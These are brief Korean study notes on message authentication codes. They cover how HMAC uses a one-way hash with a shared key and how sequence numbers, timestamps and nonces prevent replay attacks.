- MAC은 임의의 길이 메세지와 송신자와 수신자가 공유하는 key를 기반으로 하여 고정 비트 길이코드를 출력한다.
- 기존에 hash함수에서 intergrity를 만족시킬 수 있었는데, 이것에 key를 더하여 인증에 개념까지 추가된 것이다.
- MAC 인증개요
HMAC
- ;Hash-based Message Authentication Code
- 일방향성 hash 함수를 이용해서 메세지 인증코드를 구성하는 방법이다.
- 강한 일방향성 해시 함수라면 무엇이든지 HMAC에 사용될 수 있다.
- Replay Attack을 HMAC을 통해 막을 수 있는 방법
- sequence number : 송신 메세지에 매회 증가하는 번호를 사용
- timestamp : 송신 메세지에 현재 시간을 넣음
- nonce : 메세지를 수신하기에 앞서 수신자는 송신자에게 nonce값을 전달함